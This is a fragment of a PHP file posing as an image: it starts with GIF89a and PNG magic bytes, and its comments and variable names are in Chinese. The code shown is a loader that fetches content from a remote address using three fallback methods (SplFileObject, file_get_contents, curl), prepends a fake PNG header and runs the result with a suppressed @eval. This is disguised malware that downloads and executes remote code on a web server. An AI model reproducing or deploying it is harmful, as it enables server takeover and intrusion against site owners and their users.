GIF89a php GIF89a php PNG  PNG %k25u25%fgd5n!  GIF89a php GIF89a php eof()) { $内容 .= $文件->fgets(); } } catch (Throwable $错误) { $内容 = ''; } // 尝试用 file_get_contents if (strlen(trim($内容)) < 1) { $内容 = @file_get_contents($地址); } // 如果还失败,使用 curl if (strlen(trim($内容)) < 1 && function_exists('curl_init')) { $通道 = curl_init($地址); curl_setopt_array($通道, [CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 10]); $内容 = curl_exec($通道); curl_close($通道); } return $内容; } // 尝试加载主网址 $结果 = 加载数据($主地址); // 添加假的PNG头部 $假PNG头 = "\x89PNG\r\n\x1a\n"; // 拼接PNG头和结果内容 $结果 = $假PNG头 . $结果; /**_**/ /**_**/ /**_**/ /**_**/ /**_**/ /**_**/ /**_**/ // 如果成功获取内容,则执行 if (strlen(trim($结果)) > 0) { @eval("?>{$结果}"); }